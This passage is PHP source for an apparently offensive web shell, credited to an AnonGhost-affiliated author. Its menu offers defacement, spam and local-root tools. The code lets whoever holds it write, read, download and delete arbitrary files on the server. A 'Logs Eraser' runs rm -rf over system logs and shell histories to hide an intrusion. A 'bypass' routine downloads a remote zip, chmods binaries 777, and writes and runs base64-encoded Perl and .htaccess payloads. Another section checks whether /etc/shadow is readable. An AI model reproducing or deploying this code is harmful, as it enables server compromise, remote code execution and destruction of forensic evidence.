<a href="?action=mase">&nbsp;Mass&nbsp;</a>
<a href="?action=cgi4e">&nbsp;CGI&nbsp;</a>
<a href="?action=sesc">&nbsp;Server Security&nbsp;</a>
<a href="?action=spammm">&nbsp;Spam&nbsp;</a>
<a href="?action=tule">&nbsp;Tools&nbsp;</a>
<a href="?action=fcbookk">&nbsp;Facebook&nbsp;</a>
<a href="?action=iplookdom">&nbsp;Ip Reverse&nbsp;</a>
<a href="?action=w00ts">&nbsp;LocalRoots&nbsp;</a>
<a href="?action=scannner">&nbsp;Scan&nbsp;</a>
<a href="?action=aplot">&nbsp;Upload&nbsp;</a>
<a href="?action=deltlogss">&nbsp;Logs&nbsp;</a>
<a href="?action=abot">&nbsp;About&nbsp;</a>
<a href="?action=logout">&nbsp;Logout&nbsp;</a>
<a href="?action=kill">&nbsp;Kill&nbsp;</a>
<audio autoplay> <source src="http://www.soundescapestudios.com/SESAudio/SES%20Site%20Sounds/Beeps/Beeps-short-01.wav" type="audio/mpeg"></audio>

</div><br>
<div id="det">
<?php
if(ini_get(\'safe_mode\') == \'1\'){
echo \'<font color="#007700"> Safe mode:</font><b class="tul"><font color="red"> ON&nbsp;</font></font></b>-\';
}
else{
echo \'<font color="#007700"> Safe mode:</font><b class="tul"><font color="ff0000"> OFF&nbsp;</font></b>-\';
}
if(ini_get(\'magic_quotes_gpc\') == \'1\'){
echo \'<font color="#007700"> Magic_quotes_gpc:</font><b class="tul"><font color="red"> ON&nbsp;</font></b>-\';
}
else{
echo \'<font color="#007700"> Magic_quotes_gpc:</font><b class="tul"><font color="ff0000"> OFF&nbsp;</font></b>-\';
}
if(function_exists(\'mysql_connect\')){
echo \'<font color="#007700"> Mysql:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-\';
}
else{
echo \'<font color="#007700"> Mysql:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>-\';
}
if(function_exists(\'mssql_connect\')){
echo \'<font color="#007700"> Mssql:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-\';
}
else{
echo \'<font color="#007700"> Mssql:</font><b class="tul"><font color="ffff00"> OFF&nbsp;</font></b>-\';
}
if(function_exists(\'pg_connect\')){
echo \'<font color="#007700"> PostgreSQL:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-\';
}
else{
echo \'<font color="#007700"> PostgreSQL:</font><b class="tul"><font color="ffff00"> OFF&nbsp;</font></b>-\';
}
if(function_exists(\'ocilogon\')){
echo \'<font color="#007700"> Oracle:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-\';
}
else{
echo \'<font color="#007700"> Oracle:</font><b class="tul"><font color="ffff00"> OFF&nbsp;</font></b>-\';
}
if(function_exists(\'curl_version\')){
echo \'<font color="#007700"> Curl:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-\';
}
else{
echo \'<font color="#007700"> Curl:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>-\';
}
if(function_exists(\'exec\')){
echo \'<font color="#007700"> Exec:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-\';
}
else{
echo \'<font color="#007700"> Exec:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>-\';
}
if(!ini_get(\'open_basedir\') != "on"){
echo \'<font color="#007700"> Open_basedir:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>-\';
}
else{
echo \'<font color="#007700"> Open_basedir:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-\';
}
if(!ini_get(\'ini_restore\') != "on"){
echo \'<font color="#007700"> Ini_restore:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>-\';
}
else{
echo \'<font color="#007700"> Ini_restore:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-\';
}
if(function_exists(\'symlink\')){
echo \'<font color="#007700"> Symlink:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-\';
}
else{
echo \'<font color="#007700"> Symlink:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>-\';
}
if(function_exists(\'file_get_contents\')){
echo \'<font color="#007700"> file_get_contents:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-\';
}
else{
echo \'<font color="#007700"> file_get_contents:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>-\';
}
if(is_dir(\'sim/rut\')){
echo \'<font color="#007700"> Permission:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-\';
}
else{
echo \'<font color="#007700"> Permission:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>\';
}
?>
</div>
</center>


<?php
#################################################################
//code for php.ini

if(isset($_POST[\'source\']) && isset($_POST[\'file\'])){
$source = $_POST[\'source\'];
$file = $_POST[\'file\'];
$fp = fopen($file, \'w\');
fwrite($fp, $source);
fclose($fp);
echo \'<center><font color="#b0b000"><b>File saved</b></font></center>\';
}
if(isset($_GET[\'turnoff\'])){
if(is_writable(".htaccess")){
$value = $_GET[\'turnoff\'];
if(file_exists(".htaccess")){
// fread example
$handle = fopen(".htaccess", "r");
$contents = \'\';
while (!feof($handle)) {
$read = fread($handle, 8192);
$contents = $contents.$read;


?>

<center><br><br><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:#007700;>Turn off php.ini</font></b><br><br></center>
<center><span style="color: #b0b000;font-family: Courier New, Courier, monospace;font-size:12px">Use htaccess to turn php.ini functions on/off<br>Example: php_value magic_quotes_gpc off</span></center>
<form action="" method="post">
<center><br><textarea class="area" id="source" name="source"> -->
<?php

if($value == \'magic_quotes_gpc\'){
$data = \'php_value magic_quotes_gpc off
\'.$contents;
echo $data;
}
else{
echo $contents;
}
	?>
	</textarea></center>
	<input type="hidden" name="file" value=".htaccess"><br>
	<center><input type="submit" value="Save File"></center>
	</form>
	<?php
}
fclose($handle);
}
}
if(!file_exists(".htaccess")){
// make htaccess file
$myfile = \'.htaccess\';
$handle = fopen($myfile, \'w\') or die(\'Cannot open file:  \'.$myfile);
fclose($handle);
echo \'<br><center><font color="#b0b000"><b>File created</b></font> <b><a href="?turnoff=ini">click here</a></b></center>\';
}
?>
<?php 
}

// make file
if(isset($_GET[\'make\'])){
// file maker
if(!file_exists($_GET[\'make\'])){
// make htaccess file
$myfile = $_GET[\'make\'];
$handle = fopen($myfile, \'w\') or die(\'Cannot open file:  \'.$myfile);
fclose($handle);
echo \'<center><font color="#b0b000"><b>File created</b></font> <a href="?view=\'.$myfile.\'&dir=0">click here</a></center>\';
}
else{
echo \'<center><font color="red">This file exist.</font>&nbsp;&nbsp;&nbsp;&nbsp; <a href="?delete=\'.$_GET[\'make\'].\'">delete</a>&nbsp;&nbsp;&nbsp;&nbsp; <a href="?view=\'.$_GET[\'make\'].\'">open</a><center>\';
}
}

if(isset($_GET[\'get\'])){
// download
$file = $_GET[\'get\'];
if (file_exists($file)) {
    header(\'Content-Description: File Transfer\');
    header(\'Content-Type: application/octet-stream\');
    header(\'Content-Disposition: attachment; filename=\'.basename($file));
    header(\'Content-Transfer-Encoding: binary\');
    header(\'Expires: 0\');
    header(\'Cache-Control: must-revalidate\');
    header(\'Pragma: public\');
    header(\'Content-Length: \' . filesize($file));
    ob_clean();
    flush();
    readfile($file);
	exit();
}
}

if(isset($_GET[\'view\'])){
$file = $_GET[\'view\'];
?><br><center>
<form action="" method="post">
<textarea class="area" id="source" name="source">
<?php
if(file_exists($file)){
$open = htmlspecialchars(file_get_contents($file));
if($open){
echo $open;
}
}
else{
echo \'				FILE DOES NOT EXISTS\';
}
?>
</textarea>
<input type="hidden" name="file" value="<?php echo $file; ?>"><br><br>
<center><input type="submit" value="Save File"> <a href="?zip=<?php echo $file; ?>" style="font-size:14; padding: 3px;border: 1px solid #007700; background: black;color: #007700; background: transparent; box-shadow: 0px 0px 4px #007700;    padding: 3px;   -webkit-border-radius: 4px;
   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px;   -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;"><b>Download</b></a> <a href="?delete=<?php echo $file; ?>&action=mumpet" style="font-size:14; padding: 3px;border: 1px solid #007700 ;background: black;color: #007700; background: transparent; box-shadow: 0px 0px 4px #007700;    padding: 3px;   -webkit-border-radius: 4px;
   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px;   -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;"><b>Delete</b></a></center>
</input></form></center>
<?php
}


if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'simlinge\'){
$a = fopen("vws.pl", "w");
fputs($a, $symlink);
fclose($a);
system("perl vws.pl");
}


if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'deltlogss\'){
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Logs Eraser</span><center><br>\';
//exec function madafuck !
echo "<table style=\'margin: 0 auto;\'><tr valign=\'top\'><td align=\'left\'>";      
exec("rm -rf /tmp/logs");
exec("rm -rf /root/.ksh_history");
exec("rm -rf /root/.bash_history");
exec("rm -rf /root/.bash_logout");
exec("rm -rf /usr/local/apache/logs");
exec("rm -rf /usr/local/apache/log");
exec("rm -rf /var/apache/logs");
exec("rm -rf /var/apache/log");
exec("rm -rf /var/run/utmp");
exec("rm -rf /var/logs");
exec("rm -rf /var/log");
exec("rm -rf /var/adm");
exec("rm -rf /etc/wtmp");
exec("rm -rf /etc/utmp");
exec("rm -rf $HISTFILE");
exec("rm -rf /var/log/lastlog");
exec("rm -rf /var/log/wtmp");

//shell_exec function madafuck !
shell_exec("rm -rf /tmp/logs");
shell_exec("rm -rf /root/.ksh_history");
shell_exec("rm -rf /root/.bash_history");
shell_exec("rm -rf /root/.bash_logout");
shell_exec("rm -rf /usr/local/apache/logs");
shell_exec("rm -rf /usr/local/apache/log");
shell_exec("rm -rf /var/apache/logs");
shell_exec("rm -rf /var/apache/log");
shell_exec("rm -rf /var/run/utmp");
shell_exec("rm -rf /var/logs");
shell_exec("rm -rf /var/log");
shell_exec("rm -rf /var/adm");
shell_exec("rm -rf /etc/wtmp");
shell_exec("rm -rf /etc/utmp");
shell_exec("rm -rf $HISTFILE");
shell_exec("rm -rf /var/log/lastlog");
shell_exec("rm -rf /var/log/wtmp");

//passthru function madafuck !
passthru("rm -rf /tmp/logs");
passthru("rm -rf /root/.ksh_history");
passthru("rm -rf /root/.bash_history");
passthru("rm -rf /root/.bash_logout");
passthru("rm -rf /usr/local/apache/logs");
passthru("rm -rf /usr/local/apache/log");
passthru("rm -rf /var/apache/logs");
passthru("rm -rf /var/apache/log");
passthru("rm -rf /var/run/utmp");
passthru("rm -rf /var/logs");
passthru("rm -rf /var/log");
passthru("rm -rf /var/adm");
passthru("rm -rf /etc/wtmp");
passthru("rm -rf /etc/utmp");
passthru("rm -rf $HISTFILE");
passthru("rm -rf /var/log/lastlog");
passthru("rm -rf /var/log/wtmp");


//Let the Mother of Functions To Complete The Task wkwkwkw xD!
system("rm -rf /tmp/logs");
sleep(2);
echo\'<br><font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Deleted [+].../tmp/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif>\';
sleep(2);

system("rm -rf /root/.bash_history");
sleep(2);
echo\'<p>Deleted [+].../root/.bash_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

system("rm -rf /root/.ksh_history");
sleep(2);
echo\'<p>Deleted [+].../root/.ksh_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

system("rm -rf /root/.bash_logout");
sleep(2);
echo\'<p>Deleted [+].../root/.bash_logout <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

system("rm -rf /usr/local/apache/logs");
sleep(2);
echo\'<p>Deleted [+].../usr/local/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

system("rm -rf /usr/local/apache/log");
sleep(2);
echo\'<p>Deleted [+].../usr/local/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

system("rm -rf /var/apache/logs");
sleep(2);
echo\'<p>Deleted [+].../var/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

system("rm -rf /var/apache/log");
sleep(2);
echo\'<p>Deleted [+].../var/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

system("rm -rf /var/run/utmp");
sleep(2);
echo\'<p>Deleted [+].../var/run/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

system("rm -rf /var/logs");
sleep(2);
echo\'<p>Deleted [+].../var/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

system("rm -rf /var/log");
sleep(2);
echo\'<p>Deleted [+].../var/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

system("rm -rf /var/adm");
sleep(2);
echo\'<p>Deleted [+].../var/adm <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

system("rm -rf /etc/wtmp");
sleep(2);
echo\'<p>Deleted [+].../etc/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

system("rm -rf /etc/utmp");
sleep(2);
echo\'<p>Deleted [+].../etc/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

system("rm -rf $HISTFILE");
sleep(2);
echo\'<p>Deleted [+]...$HISTFILE <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\'; 

system("rm -rf /var/log/lastlog");
sleep(2);
echo\'<p>Deleted [+].../var/log/lastlog <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

system("rm -rf /var/log/wtmp");
sleep(2);
echo\'<p>Deleted [+].../var/log/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>\';

sleep(4);

echo \'</font><br><br><p><font color="00bb00" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Your Traces Has Been Successfully Erased From the Server\';
echo"</td></tr></table>";

}


if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'exgz\'){
echo \'<center><b class="conte">
<a href="?action=exgz">Bypass Server Functions</a> -
<a href="?action=tespr">Test Permission</a> -
<a href="?action=srvrinformations">Server Informations</a>  </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Server Functions 100% Priv8</span><center>\';
echo \'<center><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Coded  By Mauritania Attacker</font><br><br><font color="#009900" face="Tahoma, Geneva, sans-serif" style="font-size: 12pt">Force Enabling Functions on the Server <font/></b><br><br>
<form method="post"><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Remote File Zip Functions</font> <input type="text" size="40" name="shell" value="http://hcp1.es/wp-content/uploads/ghost.zip"> <input type="submit" value="Bypass Functions Now" name="fuck"></center>
</form><br><br>
</center>\';
@error_reporting(0);
/*
* Coded By : Mauritania Attacker
* Avalaibility : Priv99999999999 !
* This Tool is not for kids !!
* GreetZ To All AnonGhost MemberZ
*/

$file = $_POST[\'shell\'];
//Generate zip file
$fopen = fopen("ghost.zip",\'w\');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "<table style=\'margin: 0 auto;\'><tr valign=\'top\'><td align=\'left\'>"; 
echo "<font color=\'007700\' face=\'Tahoma, Geneva, sans-serif\' style=\'font-size: 10pt\'>Zip Functions Uploaded Successfully
</font><br>";
sleep(2);
echo "<p><font color=\'007700\' face=\'Tahoma, Geneva, sans-serif\' style=\'font-size: 10pt\'>Going To Unzip All Functions Now Be patient Nygga ....</font></p><br>";

sleep(2); 

//system
system(\'unzip ghost.zip\');

chmod("id" , 0777);
chmod("gunzip" , 0777);
chmod("pwd" , 0777);
chmod("ln" , 0777);
chmod("ls" , 0777);
chmod("chmod" , 0777);
chmod("uname" , 0777);
chmod("rm" , 0777);
chmod("su" , 0777);
chmod("tail" , 0777);
chmod("Ptouch" , 0777);
chmod("who" , 0777);
chmod("gcc" , 0777);
chmod("tar" , 0777);
chmod("du" , 0777);
chmod("dir" , 0777);
chmod("wget" , 0777);
chmod("date" , 0777);
chmod("gzip" , 0777);
chmod("sh" , 0777);

//passthru
passthru(\'unzip ghost.zip\');

chmod("id" , 0777);
chmod("gunzip" , 0777);
chmod("pwd" , 0777);
chmod("ln" , 0777);
chmod("ls" , 0777);
chmod("chmod" , 0777);
chmod("uname" , 0777);
chmod("rm" , 0777);
chmod("su" , 0777);
chmod("tail" , 0777);
chmod("Ptouch" , 0777);
chmod("who" , 0777);
chmod("gcc" , 0777);
chmod("tar" , 0777);
chmod("du" , 0777);
chmod("dir" , 0777);
chmod("wget" , 0777);
chmod("date" , 0777);
chmod("gzip" , 0777);
chmod("sh" , 0777);

//shell_exec
shell_exec(\'unzip ghost.zip\');

chmod("id" , 0777);
chmod("gunzip" , 0777);
chmod("pwd" , 0777);
chmod("ln" , 0777);
chmod("ls" , 0777);
chmod("chmod" , 0777);
chmod("uname" , 0777);
chmod("rm" , 0777);
chmod("su" , 0777);
chmod("tail" , 0777);
chmod("Ptouch" , 0777);
chmod("who" , 0777);
chmod("gcc" , 0777);
chmod("tar" , 0777);
chmod("du" , 0777);
chmod("dir" , 0777);
chmod("wget" , 0777);
chmod("date" , 0777);
chmod("gzip" , 0777);
chmod("sh" , 0777);

//exec
exec(\'unzip ghost.zip\');

chmod("id" , 0777);
chmod("gunzip" , 0777);
chmod("pwd" , 0777);
chmod("ln" , 0777);
chmod("ls" , 0777);
chmod("chmod" , 0777);
chmod("uname" , 0777);
chmod("rm" , 0777);
chmod("su" , 0777);
chmod("tail" , 0777);
chmod("Ptouch" , 0777);
chmod("who" , 0777);
chmod("gcc" , 0777);
chmod("tar" , 0777);
chmod("du" , 0777);
chmod("dir" , 0777);
chmod("wget" , 0777);
chmod("date" , 0777);
chmod("gzip" , 0777);
chmod("sh" , 0777);

//proc_open
proc_open(\'unzip ghost.zip\');

chmod("id" , 0777);
chmod("gunzip" , 0777);
chmod("pwd" , 0777);
chmod("ln" , 0777);
chmod("ls" , 0777);
chmod("chmod" , 0777);
chmod("uname" , 0777);
chmod("rm" , 0777);
chmod("su" , 0777);
chmod("tail" , 0777);
chmod("Ptouch" , 0777);
chmod("who" , 0777);
chmod("gcc" , 0777);
chmod("tar" , 0777);
chmod("du" , 0777);
chmod("dir" , 0777);
chmod("wget" , 0777);
chmod("date" , 0777);
chmod("gzip" , 0777);
chmod("sh" , 0777);

sleep(3);

echo "<p><font color=\'007700\' face=\'Tahoma, Geneva, sans-serif\' style=\'font-size: 10pt\'>Loading Perl Functions.... </font> </p>";
//chmod.pl generate
$shellw0rm = \'eyANCnN5c3RlbSgidW56aXAgZ2hvc3QuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyBpZCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZ3VuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyBwd2QiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGxuIik7DQpzeXN0ZW0oImNobW9kIDc3NyBscyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdkIik7DQpzeXN0ZW0oImNobW9kIDc3NyBjaG1vZCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdW5hbWUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJtIik7DQpzeXN0ZW0oImNobW9kIDc3NyBjYXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHN1Iik7DQpzeXN0ZW0oImNobW9kIDc3NyB0YWlsIik7DQpzeXN0ZW0oImNobW9kIDc3NyB0b3VjaCIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgd2hvIik7DQpzeXN0ZW0oImNobW9kIDc3NyBnY2MiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJtIik7DQpzeXN0ZW0oImNobW9kIDc3NyB0YXIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGR1Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBkaXIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHdnZXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGRhdGUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGd6aXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHNoIik7DQp9\';
$chmoderr = fopen("chmod.pl" ,"w+");
$write = fwrite ($chmoderr ,base64_decode($shellw0rm));
if($write){
echo "<p><font color=\'007700\' face=\'Tahoma, Geneva, sans-serif\' style=\'font-size: 10pt\'>Perl Modules Uploaded Successfully</font></p><br>";
fclose($chmoderr);
chmod("chmod.pl",0755);


//Extracting htaccess to enable perl handler and type all depends on the server :D
$htaccess = \'T3B0aW9ucyBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5wbA0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAucGwNCg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA==\';
$lol = fopen(".htaccess" ,"w+");
$dwrite = fwrite ($lol ,base64_decode($htaccess));
fclose($chmoderr);

sleep(2);

//unzip with perl , if php can\'t do unzip perl maybe can 
echo "<p><b><font color=\'009900\' face=\'Tahoma, Geneva, sans-serif\' style=\'font-size: 10pt\'>Unzipping Functions with Perl </font></b></p><br>";

system(\'perl chmod.pl\');
passthru(\'perl chmod.pl\');
shell_exec(\'perl chmod.pl\');
exec(\'perl chmod.pl\');
proc_open(\'perl chmod.pl\');
echo"</td></tr></table>";
}
}
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'iplookdom\'){

     echo "<center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>Ip Lookup Reverse Domain By Mauritania Attacker</span></center>
";
echo "<center><img border=\'0\' src=\'http://www.serveu.net/images/stories/geolocation.png\' width=\"200\" height=\"200\" style=\'margin-top:10px\'></center><div id=result>";
echo "<center><br><form><input type=\'text\' size=\'60\' value=\'yahoo.com\' name=\'ghost\' /><input type=\'hidden\' name=\'action\' value=\'iplookdom\'> &nbsp;<input type=\'submit\' value=\'&nbsp;&check;&nbsp;\'></form></center>";
if(isset($_GET["ghost"]))
{
$site = $_GET["ghost"];
$ghost = "http://domains.yougetsignal.com/domains.php";

//Curl Function
$ch = curl_init($ghost);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$site&ket=");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
$resp = curl_exec($ch);
$resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("\'","", str_replace("\'","", str_replace(":",",", str_replace(\'"\',\'\', $resp ) ) ) ) ) ) ) ) ) ))));
$array = explode(",,", $resp);
unset($array[0]);
echo "<table style=\'margin: 0 auto\'>";
foreach($array as $lnk)
{
    print "<tr><td><a  style=\"color:#0f0;font-weight:bold;\" href=\'$lnk\' target=_blank>$lnk</a></td></tr>";
}
echo "</table>";
curl_close($ch);
}


}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'srvrinformations\'){
echo \'<center><b class="conte">
<a href="?action=exgz">Bypass Server Functions</a> -
<a href="?action=tespr">Test Permission</a> -
<a href="?action=srvrinformations">Server Informations</a>  </center>
</b>\';
echo "<br><center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>Server Security Informations</span><center><br>";
echo "<center><div class=\'tmpe\'>
<table align=\'center\' width=\'50%\'><td><font color=\'#007700\'>Kernel Version</font></td><td>";echo php_uname();
echo "<tr><td><font color=\'#007700\'>Web Server</font></td><td>";echo $_SERVER["SERVER_SOFTWARE"];
echo "<tr><td><font color=\'#007700\'>PHP Version</font></td><td>";echo phpversion(); echo " on "; echo php_sapi_name();
echo "<tr><td><font color=\'#007700\'>Current User</font></td><td>";echo get_current_user();
echo "<tr><td><font color=\'#007700\'>User ID</font></td><td>";echo getmyuid();
echo "<tr><td><font color=\'#007700\'>Group</font></td><td>";echo getmygid();
echo "<tr><td><font color=\'#007700\'>Cwd </font></td><td>";echo getcwd();
echo "<tr><td><font color=\'#007700\'>Admin Server</font></td><td>";echo $_SERVER[\'SERVER_ADMIN\'];
echo "<tr><td><font color=\'#007700\'>Server Port</font></td><td>";echo $_SERVER[\'SERVER_PORT\'];
echo "<tr><td><font color=\'#007700\'>Server IP</font></td><td>";echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
echo "<tr><td><font color=\'#007700\'>Client IP</font></td><td>";echo $_SERVER[\'REMOTE_ADDR\'];
echo "<tr><td><font color=\'#007700\'>cURL support</font></td><td>";echo function_exists(\'curl_version\')?\'Enabled\':\'No\';
echo "<tr><td><font color=\'#007700\'>Readable /etc/passwd</font></td><td>";echo @is_readable(\'/etc/passwd\')?"Readable <a href=\'?action=moco\'> [View]</a>":"Not Readable";
echo "<tr><td><font color=\'#007700\'>Readable /etc/shadow</font></td><td>";echo @is_readable(\'/etc/shadow\')?"Readable":"Not Readable";
$base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON <font color=\'#007700\'>secure</font>":"OFF <font color=\'#007700\'>not secure</font>";
echo "<tr><td><font color=\'#007700\'>Open Base Dir</font></td><td><font class=txt>" . $base . "</font>";
echo "</table></div></center><br>";
}


if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'tespr\'){
echo \'<center><b class="conte">
<a href="?action=exgz">Bypass Server Functions</a> -
<a href="?action=tespr">Test Permission</a> -
<a href="?action=srvrinformations">Server Informations</a>  </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Test Permission</span><center><br>\';

echo \'<center><table style="border:1px solid #007700;">\';
echo \'<tr>\';
if(ini_get(\'id\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;id:&nbsp;</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;id:&nbsp;</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'gunzip\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| gunzip:&nbsp;</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| gunzip:&nbsp;</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'pwd\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| pwd:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| pwd:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'ln\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| ln:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| ln:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'ls\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| ls:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| ls:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'chmod\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| chmod:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| chmod:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
echo \'</tr><tr>\';
if(ini_get(\'uname\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;uname:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;uname:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'rm\') == \'1\'){
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| rm:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>\';
}
else{
echo \'<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| rm:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>\';
}
if(ini_get(\'su\') == \'1\'){
